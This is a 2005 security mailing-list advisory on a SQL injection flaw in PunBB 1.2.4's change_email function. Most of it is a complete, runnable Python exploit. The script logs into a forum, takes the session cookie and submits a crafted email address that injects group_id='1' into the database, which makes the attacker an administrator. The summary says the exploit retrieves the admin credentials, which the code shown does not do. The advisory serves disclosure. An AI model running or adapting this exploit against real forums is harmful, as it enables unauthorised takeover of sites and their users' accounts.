[EXPL] PunBB change_email SQL Injection
From: SecuriTeam (support_at_securiteam.com)
Date: 04/12/05
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To: list@securiteam.com Date: 12 Apr 2005 15:54:25 +0200
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PunBB change_email SQL Injection
------------------------------------------------------------------------
SUMMARY
A vulnerability in <http://www.forum.net/punBB/> PunBB allows remote
attackers to inject arbitrary SQL statements into PunBB's existing SQL
statements and cause their execution. The following exploit code will
exploit the SQL injection vulnerability to allow retrieval of the
administrative username and password.
DETAILS
Vulnerable Systems:
* PunBB version 1.2.4
Exploit:
#!/usr/bin/python
####################################
# _ _ _ _ ___ _ _ ___
# | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \
# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/
# |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_|
#
####################################
# Proof of concept code from the Hardened-PHP Project
####################################
#
# -= PunBB 1.2.4 =-
# change_email SQL injection exploit
#
# user-supplied data within the database is still user-supplied data
#
####################################
import urllib
import getopt
import sys
import string
__argv__ = sys.argv
def banner():
print "PunBB 1.2.4 - change_email SQL injection exploit"
print "Copyright (C) 2005 Hardened-PHP Project\n"
def usage():
banner()
print "Usage:\n"
print " $ ./punbb_change_email.py [options]\n"
print " -h http_url url of the punBB forum to exploit"
print " f.e. http://www.forum.net/punBB/"
print " -u username punBB forum useraccount"
print " -p password punBB forum userpassword"
print " -e email email address where the admin leve activation email
is sent"
print " -d domain catch all domain to catch \"some-SQL-Query\"@domain
emails"
print ""
sys.exit(-1)
def main():
try:
opts, args = getopt.getopt(sys.argv[1:], "h:u:p:e:d:")
except getopt.GetoptError:
usage()
if len(__argv__) < 10:
usage()
username = None
password = None
email = None
domain = None
host = None
for o, arg in opts:
if o == "-h":
host = arg
if o == "-u":
username = arg
if o == "-p":
password = arg
if o == "-e":
email = arg
if o == "-d":
domain = arg
# Printout banner
banner()
# Check if everything we need is there
if host == None:
print "[-] need a host to connect to"
sys.exit(-1)
if username == None:
print "[-] username needed to continue"
sys.exit(-1)
if password == None:
print "[-] password needed to continue"
sys.exit(-1)
if email == None:
print "[-] email address needed to continue"
sys.exit(-1)
if domain == None:
print "[-] catch all domain needed to continue"
sys.exit(-1)
# Retrive cookie
params = {
'req_username' : username,
'req_password' : password,
'form_sent' : 1
}
wclient = urllib.URLopener()
print "[+] Connecting to retrieve cookie"
req = wclient.open(host + "/login.php?action=in",
urllib.urlencode(params))
info = req.info()
if 'set-cookie' not in info:
print "[-] Unable to retrieve cookie... something is wrong"
sys.exit(-3)
cookie = info['set-cookie']
cookie = cookie[:string.find(cookie, ';')]
print "[+] Cookie found - extracting user_id"
user_id = cookie[string.find(cookie, "%3A%22")+6:string.find(cookie,
"%22%3B")]
print "[+] User-ID: %d" % (int(user_id))
wclient.addheader('Cookie', cookie);
email = '"' + email[:string.find(email, '@')] + '"@' +
email[string.find(email, '@')+1:] + ',"\','
append = 'group_id=\'1'
email = email + ( ((50-len(append))-len(email)) * ' ' ) + append +
'"@' + domain
params = {
'req_new_email' : email,
'form_sent' : 1
}
print "[+] Connecting to request change email"
req = wclient.open(host + "profile.php?action=change_email&id=" +
user_id, urllib.urlencode(params))
print "[+] Done... Now wait for the email. Log into punBB, go to the
link in the email and become admin"
if __name__ == "__main__":
main()
ADDITIONAL INFORMATION
The information has been provided by <mailto:exploits@nopiracy.de>
exploits@nopiracy.de.
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